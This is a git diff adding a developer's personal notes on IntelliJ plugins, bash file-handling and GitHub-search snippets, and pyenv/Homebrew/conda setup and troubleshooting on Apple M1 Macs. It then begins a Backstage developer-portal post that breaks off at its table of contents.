+## IDE + +### IntelliJ + +Recommended Plugin: +- Leetcode Editor + - 上班摸鱼神器,也是一个可以在IDEA中刷算法题目的插件,有很多题目供我们学习, + - 表面在写代码,其实是在刷题。 每道题都有很详细的解题思路 + +- [Translation](https://plugins.jetbrains.com/plugin/8579-translation) + - 这是翻译插件,阅读源码有不认识的英文,或者编写变量时,不知道英文怎么写的时候可以直接进行翻译 + - 在菜单栏上也可以直接进行翻译,不用再去打开一些在线翻译网站了 + +- [Key Promoter X](https://plugins.jetbrains.com/plugin/9792-key-promoter-x) + - 一个可以让你慢慢脱离鼠标操作的插件,在IDEA中操作时,他会将对应的快捷键,进行提示。 + - 并且右侧会有一个列表,将你近期使用的功能进行展示,对于高频操作我们可以使用快捷键,这样可以提升效率 + +- [Catppuccin Theme](https://plugins.jetbrains.com/plugin/18682-catppuccin-theme) + - Catppuccin is a community-driven pastel theme that aims to be the middle ground between low and high contrast themes. It consists of 4 soothing warm palettes with 26 eye-candy colors each, perfect for coding, designing, and much more! + - There are 4 lovely flavours for you to choose from: Latte, Frappé, Macchiato and Mocha. + +- [Atom Material Icons](https://plugins.jetbrains.com/plugin/10044-atom-material-icons) + - This plugin is a port of the Atom File Icons and the icons of the Material Theme UI plugin. + +- [Rainbow brackets](https://plugins.jetbrains.com/plugin/10080-rainbow-brackets) + - 如果您曾经为嵌套元素的大量重复中括号而烦恼,那这款插件就是您的救星。 它为每组左中括号和右中括号提供了各自的颜色,使跟踪代码块的起始和结束位置更加容易。 相信我们,只要尝试一次,您就会知道它有多好。 + + +- [wakatime](https://plugins.jetbrains.com/plugin/7425-wakatime) + - Metrics, insights, and time tracking automatically generated from your programming activity. + +- [CodeGlance](https://plugins.jetbrains.com/plugin/7275-codeglance) + - 用过sublime的同学对这个功能一定很熟悉,它是一个迷你缩放图插件 + - 当代码过长的时候可以使用这个插件,相比如下拉框,这个插件更加的直观和方便 + +- [JavaDoc](https://plugins.jetbrains.com/plugin/7157-javadoc) + - 这是一个快速生成文档注释的插件 + - windows上可以通过alt + insert 快捷键,mac是control+回车 + + +### VSC + +#### Issue + +##### auto save + +open the Settings editor from the Command Palette (⇧⌘P) with Preferences: Open Settings or use the keyboard shortcut (⌘,). + +Settings: + +- Commonly used + - AutoSave: after delay + +- Python Docstring Generate Configuration + - Quote Style: `"` or `'` + + +-- + +## makefile + +### avoid command output + +```bash +.PHONY .SILENT: test_single_model +test_single_model: + echo "hi +``` + +### rename file + + +```bash +# main + +for file in ./test/xxx_test_output_main/*.json; do + # Extract the filename without the directory path + filename=$(basename "$file") + # Perform the renaming by substituting '_test.json' with '_test_main.json' + new_filename="${filename/_test.json/_test_main.json}" + # Rename the file + mv "$file" "./test/xxx_test_output_main/$new_filename" +done + + +# master + +for file in ./test/xxx_test_output_master/*.json; do + # Extract the filename without the directory path + filename=$(basename "$file") + # Perform the renaming by substituting '_test.json' with '_test_master.json' + new_filename="${filename/_test.json/_test_master.json}" + # Rename the file + mv "$file" "./test/xxx_test_output_master/$new_filename" +done +``` + +### move file + +```bash +for FILE in ./tests/*.yaml; do git mv $FILE "tests/j/"; done +``` + +### copy file + +To create a folder named "all" and copy all files from the other folders into this "all" folder, you can use the following commands: + +```bash +mkdir all + +# Copy all files from other folders into the "all" folder +cp -r ./test/*/*.json ./test/all + +# Use find and xargs to copy the files +find ./test -type f -name "*.json" -print0 | xargs -0 -I {} cp {} ./test/all +``` + +### github repo search + +**curl** + +```bash +export ORG="AAA-QA" + +gh api \ + -H "Accept: application/vnd.github+json" \ + -H "X-GitHub-Api-Version: 2022-11-28" \ + /orgs/$ORG/repos | jq | grep full_name + +gh api \ + -H "Accept: application/vnd.github+json" \ + -H "X-GitHub-Api-Version: 2022-11-28" \ + /orgs/$ORG/repos | jq | grep ssh_url + +curl https://api.github.com/search/repositories?q=language:java \ + | jq | grep html_url +``` + +**gh api** + +```bash +gh api search/repositories \ + --method=GET -F q='language:java' \ + --jq '.items[].html_url' > output.txt +``` + +**gh search** + +```bash +gh search repos --visibility=public --language=java + +gh search repos --visibility=public --language=java \ + --limit 100 --json fullName | jq -r '.[].fullName' + +gh search repos --language=java \ + --sort="updated" --order="asc" \ + --limit $per_page --json url \ + | jq -r '.[].url' + + +gh search repos --language=java --visibility=public \ + --sort="updated" --order="asc" \ + --limit $per_page --json url \ + | jq -r '.[].url' + +``` + + +```bash +page=1 +per_page=1000 +while true; do + gh search repos --language=java --visibility=public \ + --sort="updated" --order="asc" \ + --limit $per_page --json url \ + | jq -r '.[].url' \ + | while read -r url; do + echo "Performing action for repository: $url" + done + + ((page++)) + + if [ $page -gt 20000 ]; then + break + fi +done > output.txt + +page=1 +per_page=100 +while true; do + gh search repos --language=java --visibility=public \ + --sort="updated" --order="asc" \ + --limit $per_page --json url \ + | jq -r '.[].url' \ + | while read -r url; do + echo "Performing action for repository: $url" + done + + ((page++)) + + if [ $page -gt 2 ]; then + break + fi +done > output.txt + +page=1 +per_page=1000 +while true; do + gh search repos \ + --language=java \ + --visibility=public \ + --sort="updated" \ + --order="asc" \ + --limit $per_page \ + --json url \ + | jq -r '.[].url' \ + | while read -r url; do + echo "$url" + done + ((page++)) +done > output.txt + + gh search repos \ + --language=java \ + --visibility=public \ + --sort="updated" \ + --order="asc" \ + --limit 1000000000000000000 \ + --json url \ + | jq -r '.[].url' > output.txt + +page=1 +per_page=1000 +while true; do + # Perform the GitHub API search request + response=$(gh search repos \ + --language=java \ + --visibility=public \ + --sort="updated" \ + --order="asc" \ + --limit $per_page \ + --page $page \ + --json url) + + # Check if the response contains any repositories + if [[ $(echo "$response" | jq -r '.[].url' | wc -l) -eq 0 ]]; then + break # No more repositories found, stop the loop + fi + + # Extract and echo repository URLs + echo "$response" | jq -r '.[].url' + + ((page++)) +done > output.txt + +``` + + +```bash +#!/bin/bash + +# Read the input file line by line +while IFS= read -r url; do + # Copy URL from fileA to fileB + echo "$url" >> fileB + + # Initialize a counter for retries + retries=0 + size="NA" # Default value for size + + # Get the repository name from the URL + repo_name=$(echo "$url" | awk -F'/' '{print $NF}' | tr -d '\r\n') + + # Try to get the size up to 3 times + while [ $retries -lt 3 ]; do + # Make an API request to get the repository size + response=$(curl -s "https://api.github.com/repos/$repo_name" | grep '"size":') + + if [ -n "$response" ]; then + # Extract the size value from the response + size=$(echo "$response" | awk -F': ' '{print $2}' | tr -d ',') + + # Break out of the loop if size is obtained successfully + break + else + # Increment the retries counter + ((retries++)) + # Add a delay before the next retry (optional) + sleep 1 + fi + done + + # Append the size to fileB + echo "Size: $size" >> fileB +done < fileA + +# Iterate through fileB to check for URLs without sizes and mark them as NA +# This will start from the top of fileB again +while read -r line; do + if [[ $line == "Size: NA" ]]; then + url=$(sed -n '/Size: NA/{n;p}' fileB) # Get the URL associated with "Size: NA" + repo_name=$(echo "$url" | awk -F'/' '{print $NF}' | tr -d '\r\n') + + # Try to get the size up to 3 times + retries=0 + while [ $retries -lt 3 ]; do + response=$(curl -s "https://api.github.com/repos/$repo_name" | grep '"size":') + + if [ -n "$response" ]; then + size=$(echo "$response" | awk -F': ' '{print $2}' | tr -d ',') + sed -i "s|${url}|${url}\nSize: ${size}|" fileB # Replace URL with URL + size + break + else + ((retries++)) + sleep 1 + fi + done + fi +done < fileB + +``` + + + +## reuse token + +```bash +TOKEN=$(echo "hi") +echo $TOKEN + +# get token +export TOKEN=$(curl \ + --url https://website/token/generate \ + --data-binary '{ + "context":"12345", + "ttl":86400 + }' \ + -H 'Content-Type: application/json' | jq '.token' | sed 's/"//g') + +echo $TOKEN + +# validate token +curl --url https://website/token/validate \ + -H 'Content-Type: application/json' \ + --data-binary '{ + "context":"12345", + "ttl":86400, + "token":"'$TOKEN'" + }' + +curl -X POST 'https://website/token/scans' \ + -H 'Authorization: Bearer '$TOKEN'' \ + -H 'Content-Type: application/json' \ + -d '{ + "repo": "'$TARGETREPO'", + "branch": "'$TARGETBRANCH'" + }' + + +curl 'https://website/'$UUID'' \ + -H 'Authorization: Bearer '$TOKEN'' \ + -H 'Content-Type: application/json' | jq + +export -H 'Authorization: Bearer '$TOKEN'' \ + -H 'Content-Type: application/json' | jq +``` + + +--- + + +# My Issue + +Hopefully you will never need this + +--- + +## Github issue + +### github query 1000 issue + +- https://github.com/cli/cli/issues/4176 +- https://stackoverflow.com/questions/37602893/github-search-limit-results#:~:text=rb%20in%20Github%2C%20Github%20API,search%20by%20changing%20size%20range +- https://github.com/sourcegraph/sourcegraph/issues/2562 +- https://github.com/cli/cli/issues/5101 + +API: +- https://docs.github.com/en/search-github/searching-on-github/searching-for-repositories#search-based-on-when-a-repository-was-created-or-last-updated +- https://docs.github.com/en/search-github/searching-on-github/searching-code#considerations-for-code-search + + +### Github Submodel + +```bash +$ git submodule add --force https://github.xxx +$ git submodule update --remote +``` + +### Github upload + + +```bash +zip -r my_folder.zip ./my_folder + +unzip fun-macos.zip + +split -b 99m SketchUp.zip SketchUp- + +cat SketchUp-* > SketchUp2023.dmg +``` + + +--- + + +## My M1 Issue + +### Check Processors + +Click on the System icon. Click About on the left side menu at the very bottom. Under Device specifications on the right side, check the System type. This will indicate either a +- x86-based processor (32-bit), +- x64-based processor (64-bit), +- or an ARM-based processor. + +Click on the Apple icon in the top left corner, and then click on “About This Mac.” +- If the processor says Intel, it's `x64`. +- If you see M1 or M2 it's `ARM`. + + +### Install brew + +For what it's worth, before installing Homebrew you will need to install Rosetta2 emulator for the new ARM silicon (M1 chip). + +```bash +# installed Rosetta2 via terminal using: +/usr/sbin/softwareupdate --install-rosetta --agree-to-license + +# use the Homebrew cmd and install Homebrew for ARM M1 chip: +arch -x86_64 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)" + +# Once Homebrew for M1 ARM is installed use this Homebrew command to install packages: +arch -x86_64 brew install +``` + +open a Rosetta shell first. + +```bash +% arch -x86_64 zsh +% cd /usr/local && mkdir homebrew +% curl -L https://github.com/Homebrew/brew/tarball/master | tar xz --strip 1 -C homebrew +``` + + +--- + + +### install Pyenv + + +#### Prerequisites + +1. install xcode in app store + +```bash +sudo rm -rf /Library/Developer/CommandLineTools +xcode-select --install +``` + + +2. install the Python build dependencies. + +```bash +brew install openssl readline sqlite3 xz zlib libxml2 libxslt +``` + + + +#### intsall Pyenv + + +**Install** + +```bash +# 1. get latest version of pyenv and make it easy to fork and contribute any changes back upstream. +git clone https://github.com/pyenv/pyenv.git ~/.pyenv +cd ~/.pyenv && src/configure && make -C src + +# 2. use brew +brew install pyenv pyenv-virtualenv +``` + + +**environment variable** + +1. Define environment variable PYENV_ROOT + 1. to point to the path where pyenv repo is cloned + 2. and add `$PYENV_ROOT/bin` to `$PATH` for access to the pyenv command-line utility. + +1. in the ~/.zshrc file add the following: + +```bash +# For Zsh +echo '# for pyenv' >> ~/.zshrc +echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrc +echo 'export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrc + +# Restart shell +exec "$SHELL" +``` + + +```bash +export PATH="$HOME/.pyenv/bin:$PATH" +export PATH="/usr/local/bin:$PATH" + + +export LDFLAGS="-L/usr/local/opt/zlib/lib -L/usr/local/opt/bzip2/lib" +export CPPFLAGS="-I/usr/local/opt/zlib/include -I/usr/local/opt/bzip2/include" +# export LDFLAGS="-L/usr/local/homebrew/opt/zlib/lib" +# export CPPFLAGS="-I/usr/local/homebrew/opt/zlib/include" +# export LDFLAGS="-L/usr/local/homebrew/opt/bzip2/lib" +# export CPPFLAGS="-I/usr/local/homebrew/opt/bzip2/include" + + +eval "$(pyenv init -)" +eval "$(pyenv virtualenv-init -)" +``` + +1. Add pyenv init to shell + 1. to enable shims and autocompletion. + 2. make sure `eval $(pyenv init -)` is placed toward *the end of the shell configuration file* since it manipulates PATH during the initialization. + +```bash +echo -e 'if command -v pyenv 1>/dev/null 2>&1; then\n eval "$(pyenv init -)"\nfi' >> ~/.zshrc +``` + + +1. Restart shell + +```bash +# Restart shell +exec "$SHELL" +``` + + + +**Install python version** + +1. Align command-line tools + 1. check the version of command-line tools matches Xcode. + 2. Open Xcode > Preference > Locations > Command Line Tools + +2. install python version + + +```bash +# download the python +sudo CFLAGS="-I$(brew --prefix openssl)/include \ + -I$(brew --prefix bzip2)/include \ + -I$(brew --prefix readline)/include \ + -I$(xcrun --show-sdk-path)/usr/include" + +sudo LDFLAGS="-L$(brew --prefix openssl)/lib \ + -L$(brew --prefix readline)/lib \ + -L$(brew --prefix zlib)/lib \ + -L$(brew --prefix bzip2)/lib" + +pyenv install --patch 3.7.7 < <(curl -sSL https://github.com/python/cpython/commit/8ea6353.patch\?full_index\=1) + +pyenv install --patch 3.8.0 < <(curl -sSL https://github.com/python/cpython/commit/8ea6353.patch\?full_index\=1) + +pyenv install --patch 3.7.2 < <(curl -sSL https://github.com/python/cpython/commit/8ea6353.patch\?full_index\=1) + + + + +CFLAGS="-I$(brew --prefix openssl)/include \ + -I$(brew --prefix bzip2)/include \ + -I$(brew --prefix readline)/include \ + -I$(xcrun --show-sdk-path)/usr/include" + +LDFLAGS="-L$(brew --prefix openssl)/lib \ + -L$(brew --prefix readline)/lib \ + -L$(brew --prefix zlib)/lib \ + -L$(brew --prefix bzip2)/lib" + +PYTHON_CONFIGURE_OPTS=--enable-unicode=ucs2 + +pyenv install -v 3.7.2 + + +CFLAGS="-I$(brew --prefix readline)/include \ + -I$(brew --prefix openssl)/include \ + -I$(xcrun --show-sdk-path)/usr/include" \ +LDFLAGS="-L$(brew --prefix readline)/lib \ + -L$(brew --prefix openssl)/lib" \ +PYTHON_CONFIGURE_OPTS=--enable-unicode=ucs2 \ +pyenv install -v 3.7.2 + + + +CFLAGS="-I$(brew --prefix openssl)/include \ + -I$(brew --prefix bzip2)/include \ + -I$(brew --prefix readline)/include \ + -I$(xcrun --show-sdk-path)/usr/include" \ +LDFLAGS="-L$(brew --prefix openssl)/lib \ + -L$(brew --prefix readline)/lib \ + -L$(brew --prefix zlib)/lib \ + -L$(brew --prefix bzip2)/lib" \ +pyenv install --patch 3.7.7 < <(curl -sSL https://github.com/python/cpython/commit/8ea6353.patch\?full_index\=1) + + + +# install your python version +pyenv install 3.6.5 +pyenv install 3.7.7 +pyenv install 3.8.2 +pyenv global 3.6.5 3.7.7 3.8.2 +pyenv local 3.6.5 + + + +pyenv install 3.8.13 +# python-build: use openssl@1.1 from homebrew +# python-build: use readline from homebrew +# Downloading Python-3.8.13.tar.xz... +# -> https://www.python.org/ftp/python/3.8.13/Python-3.8.13.tar.xz +# Installing Python-3.8.13... +# python-build: use tcl-tk from homebrew +# python-build: use readline from homebrew +# python-build: use zlib from xcode sdk +# Installed Python-3.8.13 to /Users/graceluo/.pyenv/versions/3.8.13 +``` + + +**check installation** + + +```bash +$ python -V +% pyenv --version +# pyenv 1.2.24.1 + +% pyenv versions +# * system (set by /Users/l/.pyenv/version) +# 3.7.7 +# * system (set by /home/grace/.pyenv/version) +# 2.7.15 +# 3.6.8 +# 3.8-dev + + +$ which python +# /home/grace/.pyenv/shims/python + + +# configure brew +# edit .zshrc file +alias brew="env PATH=${PATH//$(pyenv root)\/shims:/} brew" +``` + + +pyenv inserts itself into PATH +* from OS’s perspective is the executable that is getting called. +* to see the actual path, can run the following: + +```bash +$ pyenv which python +# /usr/bin/python +``` + +#### delete pyenv + +```bash +pyenv uninstall 3.8.2/envs/greenhouse +``` + + +#### Use pyenv + +**Specifying Python Version** + +* 3 ways to modify which version of python you’re using. + +```bash +# ======================= +$ pyenv versions +* system (set by /home/grace/.pyenv/version) + 2.7.15 + 3.6.8 + 3.8-dev +# system Python is being used as denoted by the *. + +# To exercise the next most global setting, use global command: +$ pyenv global 2.7.15 + + +# create a .python-version file with local: +$ pyenv local 2.7.15 + + +# set the Python version with shell: +$ pyenv shell 3.8-dev + +# All this did is set the $PYENV_VERSION environment variable: +$ echo $PYENV_VERSION +3.8-dev +``` + + + +#### Use Virtual Environments + + +**Creating Virtual Environments** + +```bash +# Creating Virtual Environments** +$ pyenv virtualenv + +$ pyenv virtualenv 3.6.8 myproject +# The output includes messages that show a couple of extra Python packages getting installed, namely wheel, pip, and setuptools. +# This is strictly for convenience and just sets up a more full featured environment for each of virtual environments. + + +# Activating Versions +$ pyenv local myproject + +# delete pyenv +$ pyenv uninstall 3.8.13/envs/lmeval +``` + + +**Working With Multiple Environments** + +```bash +$ pyenv versions +# * system (set by /home/grace/.pyenv/version) +# 2.7.15 +# 3.6.8 +# 3.8-dev + +# to work on two different, aptly named, projects: +* project1 supports Python 2.7 and 3.6. +* project2 supports Python 3.6 and experiments with 3.8-dev. + + +# First, create a virtual environment for the first project +$ cd project1/ +$ pyenv which python +# /usr/bin/python +$ pyenv virtualenv 3.6.8 project1 +$ pyenv local project1 +$ python -V +# /home/grace/.pyenv/versions/project1/bin/python + + + +# cd out of the directory, default back to the system Python +$ cd $HOME +$ pyenv which python +# /usr/bin/python + + +# create a virtual environment for project2 +$ cd project2/ +$ pyenv which python +# /usr/bin/python +$ pyenv virtualenv 3.8-dev project2 +$ pyenv local 3.8-dev +$ pyenv which python +# /home/grace/.pyenv/versions/3.8-dev/bin/python + + + +# These are one time steps for projects. +# cd between the projects, environments will automatically activate: +$ cd project2/ +$ python -V +# Python 3.8.0a0 + +$ cd ../project1 +$ python -V +# Python 3.6.8 +``` + + + + + + +#### errors you might meet + + + +1. got error output + +```bash +env PYENV_DEBUG=1 pyenv install -v 3.6.10 2>&1 | tee trace.log +``` + + + + +1. cannot install other python version +```bash +$ pyenv install 3.9.2 +# ... +# Please consult to the Wiki page to fix the problem. +# https://github.com/pyenv/pyenv/wiki/Common-build-problems +# BUILD FAILED (OS X 11.2.1 using python-build 1.2.24.1) +``` + +> It is usually something wrong with the python version and the python path + + +```bash +$ which python +# /Users/l/.pyenv/shims/python + +$ pyenv versions +# system +# 3.7.7 +# 3.9.1 +# * 3.9.2 (set by /Users/l/.python-version) +``` + + + +```bash +# solution +arch -x86_64 pyenv install 3.7.2 +# BUILD FAILED (OS X 12.6 using python-build 20180424) +arch -x86_64 pyenv install 3.8.9 +# BUILD FAILED (OS X 12.6 using python-build 20180424) + + + +# solution +CC=/opt/homebrew/bin/gcc-11 pyenv install 3.8.12 + + + +# solution +arch -x86_64 /usr/local/bin/brew install gcc +arch -x86_64 ./configure \ + --with-openssl=/usr/local/opt/openssl@3 \ + --prefix=/Users/devin/.pyenv/versions/3.6.1 \ + --libdir=/Users/devin/.pyenv/versions/3.6.1/lib +CC=/usr/local/Cellar/gcc/11.2.0_3/bin/gcc-11 +LDFLAGS="-L/usr/local/opt/bzip2/lib -L/usr/local/opt/zlib/lib -L/usr/local/opt/openssl@3/lib" +CPPFLAGS="-I/usr/local/opt/bzip2/include -I/usr/local/opt/zlib/include -I/usr/local/opt/openssl@3/include" +PKG_CONFIG_PATH="/usr/local/opt/zlib/lib/pkgconfig:/usr/local/opt/openssl@3/lib/pkgconfig" + +make && make install + + + + +# solution +brew uninstall openssl && brew install openssl +CFLAGS="-I$(brew --prefix openssl)/include" \ +LDFLAGS="-L$(brew --prefix openssl)/lib" \ +pyenv install 3.7.0 +# set the python path +export PYTHONPATH="/Users/l/.pyenv/shims/python3" + + + + +# solution +CFLAGS="-I$(brew --prefix openssl)/include \ + -I$(brew --prefix bzip2)/include \ + -I$(brew --prefix readline)/include \ + -I$(xcrun --show-sdk-path)/usr/include" +LDFLAGS="-L$(brew --prefix openssl)/lib \ + -L$(brew --prefix readline)/lib \ + -L$(brew --prefix zlib)/lib \ + -L$(brew --prefix bzip2)/lib" +PYTHON_CONFIGURE_OPTS=--enable-unicode=ucs2 +pyenv install -v 3.7.2 + +CFLAGS="-I$(brew --prefix readline)/include \ + -I$(brew --prefix openssl)/include + -I$(xcrun --show-sdk-path)/usr/include" +LDFLAGS="-L$(brew --prefix readline)/lib \ + -L$(brew --prefix openssl)/lib" \ +PYTHON_CONFIGURE_OPTS=--enable-unicode=ucs2 +pyenv install -v 3.7.2 + + + + +# solution +sudo installer -pkg /Library/Developer/CommandLineTools/Packages/macOS_SDK_headers_for_macOS_10.14.pkg -target / + + + +# solution +# add just this to my .bash_profile +export SDKROOT=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk + + +# solution +SDKROOT=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk MACOSX_DEPLOYMENT_TARGET=10.14 pyenv install 3.7.3 + + + +# solution +SDKROOT=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk +MACOSX_DEPLOYMENT_TARGET=10.14 +pyenv install 3.7.2 + +# python-build: use openssl@1.1 from homebrew +# python-build: use readline from homebrew +# Downloading Python-3.7.2.tar.xz... +# -> https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tar.xz +# Installing Python-3.7.2... +# python-build: use tcl-tk from homebrew +# python-build: use readline from homebrew +# python-build: use zlib from xcode sdk + +# BUILD FAILED (OS X 12.6 using python-build 20180424) + +# Inspect or clean up the working tree at /var/folders/hw/52gfb9js43d4xb9g0zypmljr0000gn/T/python-build.20221007110445.69078 +# Results logged to /var/folders/hw/52gfb9js43d4xb9g0zypmljr0000gn/T/python-build.20221007110445.69078.log + +# Last 10 log lines: +# checking for --with-cxx-main=... no +# checking for clang++... no +# configure: + +# By default, distutils will build C++ extension modules with "clang++". +# If this is not intended, then set CXX on the configure command line. + +# checking for the platform triplet based on compiler characteristics... darwin +# configure: error: internal configure error for the platform triplet, please file a bug report +# make: *** No targets specified and no makefile found. Stop. +``` + + + + + +1. when you see this, means you need to brew install every app it shows below. + +```bash +$ brew install pyenv +Error: pyenv dependencies not built for the arm64 CPU architecture: + openssl@1.1 was built for x86_64 + pkg-config was built for x86_64 + readline was built for x86_64 +``` + + + +1. sqlite3 error + +```bash +# // error +ModuleNotFoundError: No module named '_sqlite3' + +# // solutions +brew reinstall openssl +pyenv install 3.9.1 && pyenv global 3.9.1 +``` + + + +```bash +# ============================= +Using terminal got this error, change to Rosetta terminal +# ============================= +# configure: error: Unexpected output of 'arch' on OSX +# make: *** No targets specified and no makefile found. Stop. + + +$ pyenv install 3.7.2 +# python-build: use openssl@1.1 from homebrew +# python-build: use readline from homebrew +# Downloading Python-3.7.2.tar.xz... +# -> https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tar.xz +# Installing Python-3.7.2... +# python-build: use readline from homebrew +# python-build: use zlib from xcode sdk +# BUILD FAILED (OS X 11.2.1 using python-build 1.2.24.1) +# Inspect or clean up the working tree at /tmp/python-build.20210319230240.79971 +# Results logged to /tmp/python-build.20210319230240.79971.log +# Last 10 log lines: +# extern int _NSGetExecutablePath(char* buf, uint32_t* bufsize) __OSX_AVAILABLE_STARTING(__MAC_10_2, __IPHONE_2_0); +# ^ +# clang -Wno-unused-result -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall -I/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include -I/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Wstrict-prototypes -Werror=implicit-function-declaration -I. -I./Include -I/usr/local/homebrew/opt/readline/include -I/usr/local/homebrew/opt/readline/include -I/Users/l/.pyenv/versions/3.7.2/include -I/usr/local/homebrew/opt/readline/include -I/usr/local/homebrew/opt/read line/include -I/Users/l/.pyenv/versions/3.7.2/include -DPy_BUILD_CORE_BUILTIN -c ./Modules/errnomodule.c -o Modules/errnomodule.o +# ./Modules/posixmodule.c:8409:15: error: implicit declaration of function 'sendfile' is invalid in C99 [-Werror,-Wimplicit-function-declaration] +# ret = sendfile(in, out, offset, &sbytes, &sf, flags); +# ^ +# 1 error generated. +# make: *** [Modules/posixmodule.o] Error 1 +# make: *** Waiting for unfinished jobs.... +# 1 warning generated. + + + +# ============================= +in terminal : fail +and R terminal: Successfully!! +# ============================= +CFLAGS="-I$(brew --prefix openssl)/include \ + -I$(brew --prefix bzip2)/include \ + -I$(brew --prefix readline)/include \ + -I$(xcrun --show-sdk-path)/usr/include" \ + LDFLAGS="-L$(brew --prefix openssl)/lib \ + -L$(brew --prefix readline)/lib \ + -L$(brew --prefix zlib)/lib \ + -L$(brew --prefix bzip2)/lib" \ + pyenv install --patch 3.7.7 < <(curl -sSL https://github.com/python/cpython/commit/8ea6353.patch\?full_index\=1) +# python-build: use openssl@1.1 from homebrew +# python-build: use readline from homebrew +# Downloading Python-3.7.7.tar.xz... +# -> https://www.python.org/ftp/python/3.7.7/Python-3.7.7.tar.xz +# Installing Python-3.7.7... +# patching file Misc/NEWS.d/next/macOS/2020-06-24-13-51-57.bpo-41100.mcHdc5.rst +# patching file configure +# Hunk #1 succeeded at 3374 (offset -52 lines). +# patching file configure.ac +# Hunk #1 succeeded at 490 (offset -20 lines). +# python-build: use readline from homebrew +# python-build: use zlib from xcode sdk +# BUILD FAILED (OS X 11.2.1 using python-build 1.2.24.1) +# Inspect or clean up the working tree at /var/folders/gq/djp7wv2j6rvcgwjwl2c82lv80000gn/T/python-build.20210320190320.26757 +# Results logged to /var/folders/gq/djp7wv2j6rvcgwjwl2c82lv80000gn/T/python-build.20210320190320.26757.log +# Last 10 log lines: +# checking size of _Bool... 1 +# checking size of off_t... 8 +# checking whether to enable large file support... no +# checking size of time_t... 8 +# checking for pthread_t... yes +# checking size of pthread_t... 8 +# checking size of pthread_key_t... 8 +# checking whether pthread_key_t is compatible with int... no +# configure: error: Unexpected output of 'arch' on OSX +# make: *** No targets specified and no makefile found. Stop. +``` + + + +--- + + + +### installation for Conda + + +```bash + +$ conda create --name ct-repo python=3.7 +$ conda create --name python37 python=3.7 +$ conda create --name python38 python=3.8 +$ conda create --name python26 python=2.6 +$ conda install -n python35 + + +$ conda info --envs +# conda environments: +# base * /opt/homebrew/Caskroom/miniconda/base +# python37 /opt/homebrew/Caskroom/miniconda/base/envs/python37 +# python377 /opt/homebrew/Caskroom/miniconda/base/envs/python377 +# python38 /opt/homebrew/Caskroom/miniconda/base/envs/python38 +# python392 /opt/homebrew/Caskroom/miniconda/base/envs/python392 + + +eval "$(conda shell.bash hook)" + +conda activate python377 + + +$ source activate python35 +$ source activate python37 +$ source activate python377 + +$ python -V +# Python 3.5.4 :: Anaconda, Inc. + +conda list -n + + + +# create virtualenv with the created conda env +$ pyenv virtualenv /opt/homebrew/Caskroom/miniconda/base/envs/python377 ct-python377 + +# set local env (as default env in the current path) +$ pyenv local ct-python377 + +conda activate ct-python377 + + +``` + +--- + + +### installation + +#### pip + +```bash +python3.9 -m pip install --only-binary=:all: numpy==1.18.4 +``` + +So somehow pip is not recognizing the binary wheels and is rebuilding the wheel from source, detecting the buggy local Accelerate library and binding it to NumPy. + +Now we need someone to find out why the python you are using decided that the macosx_10_9_x86_64 tag is not acceptable anymore. The installer available via python.org still lists "for OS X 10.9 and later" on the macOSx line. Where did you install python from? + + +#### brew update and upgrade + +```bash +brew update && brew upgrade +arch -x86_64 brew update & arch -x86_64 brew upgrade +``` + + +--- + +### terraform + +error + +```bash +╷ +│ Error: Incompatible provider version +│ +│ Provider registry.terraform.io/hashicorp/random v2.3.1 does not have a package available for your current platform, darwin_arm64. +│ +│ Provider releases are separate from Terraform CLI releases, so not all providers are available for all platforms. Other versions of this provider may have different platforms supported. +╵ + +# solution: +brew uninstall terraform +brew install tfenv +TFENV_ARCH=amd64 tfenv install 1.3.3 +tfenv use 1.3.3 + +arch -x86_64 brew install terraform +brew unlink tfenv +``` + + + + + + +. diff --git a/_posts/00Basic/.DS_Store b/_posts/00Basic/.DS_Store new file mode 100644 index 00000000000..48a6209e45c Binary files /dev/null and b/_posts/00Basic/.DS_Store differ diff --git a/_posts/00Basic/90DevPortal/backstage.md b/_posts/00Basic/90DevPortal/backstage.md new file mode 100644 index 00000000000..d0934a8caea --- /dev/null +++ b/_posts/00Basic/90DevPortal/backstage.md @@ -0,0 +1,670 @@ +--- +title: DevPortal - Backstage +date: 2021-01-11 11:11:11 -0400 +categories: [90DevPortal] +tags: [Backstage] +toc: true +image: +--- + +# Backstage + +- [Backstage](#backstage) + - [basic](#basic) + - [architecture-overview](#architecture-overview) + - [Terminology](#terminology) + - [Overview](#overview) + - [User Interface](#user-interface) + - [Plugins and plugin backends](#plugins-and-plugin-backends) + - [Installing plugins](#installing-plugins) + - [Plugin architecture](#plugin-architecture) + - [Standalone plugins](#standalone-plugins) + - [Service backed plugins](#service-backed-plugins) + - [Third-party backed plugins](#third-party-backed-plugins) + - [Package Architecture](#package-architecture) + - [Overview](#overview-1) + - [Plugin Packages](#plugin-packages) + - [Frontend Packages](#frontend-packages) + - [Backend Packages](#backend-packages) + - [Common Packages](#common-packages) + - [Deciding where you place your code](#deciding-where-you-place-your-code) + - [Databases](#databases) + - [Cache](#cache) + - [Use memory for cache](#use-memory-for-cache) + - [Use memcache for cache](#use-memcache-for-cache) + - [Use Redis for cache](#use-redis-for-cache) + - [Containerization](#containerization) + - [Backstage plugins](#backstage-plugins) + - [Intro to plugins](#intro-to-plugins) + - [Existing plugins](#existing-plugins) + - [Suggesting a plugin](#suggesting-a-plugin) + - [Integrate into the Software Catalog](#integrate-into-the-software-catalog) + - [Creating a plugin](#creating-a-plugin) + - [Plugin Development](#plugin-development) + - [Developing guidelines](#developing-guidelines) + - [Plugin concepts / API](#plugin-concepts--api) + - [Routing](#routing) + - [structure-of-a-plugin](#structure-of-a-plugin) + - [Folder structure](#folder-structure) + - [Base files](#base-files) + - [The plugin file](#the-plugin-file) + - [Components](#components) + - [Connecting the plugin to the Backstage 